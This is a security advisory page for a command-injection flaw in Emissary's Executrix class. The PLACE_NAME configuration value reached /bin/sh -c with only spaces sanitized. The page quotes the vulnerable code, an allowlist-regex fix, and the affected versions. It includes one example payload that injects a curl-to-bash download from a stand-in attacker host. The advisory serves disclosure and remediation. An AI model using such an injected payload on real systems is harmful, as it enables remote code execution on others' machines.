GHSA-6c37-7w4p-jg9v

Suggest an improvement
Source
https://github.com/advisories/GHSA-6c37-7w4p-jg9v
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6c37-7w4p-jg9v/GHSA-6c37-7w4p-jg9v.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6c37-7w4p-jg9v
Aliases
Published
2026-04-08T00:12:50Z
Modified
2026-04-08T00:27:17Z
Severity
  • 7.2 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Emissary has a Command Injection via PLACE_NAME Configuration in Executrix
Details

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — Executrix.java

Insufficient sanitization (line 132):

this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058):

protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}

Data flow

  1. PLACE_NAME is read from a configuration file
  2. Executrix applies only a space-to-underscore replacement
  3. The placeName is used to construct temporary directory paths (tmpNames[DIR])
  4. tmpNames[DIR] is concatenated into a shell command string
  5. The command is executed via /bin/sh -c

Example payload

PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

  • Arbitrary command execution on the Emissary host
  • Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:

protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

Database specific
{
    "cwe_ids":  [
        "CWE-78"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-08T00:12:50Z",
    "nvd_published_at":  "2026-04-07T17:16:33Z",
    "severity":  "HIGH"
}
References

Affected packages

Maven / gov.nsa.emissary:emissary

Package

Name
gov.nsa.emissary:emissary
View open source insights on deps.dev
Purl
pkg:maven/gov.nsa.emissary/emissary

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
8.39.0

Affected versions

8.*
8.0.0
8.1.0
8.2.0
8.3.0
8.4.0
8.5.0
8.6.0
8.7.0
8.7.1
8.8.0
8.9.0
8.10.0
8.11.0
8.11.1
8.12.0
8.13.0
8.14.0
8.15.0
8.16.0
8.17.0
8.18.0
8.19.0
8.19.1
8.20.0
8.21.0
8.22.0
8.23.0
8.24.0
8.25.0
8.26.0
8.27.0
8.28.0
8.29.0
8.30.0
8.31.0
8.32.0
8.33.0
8.34.0
8.35.0
8.36.0
8.37.0
8.38.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6c37-7w4p-jg9v/GHSA-6c37-7w4p-jg9v.json"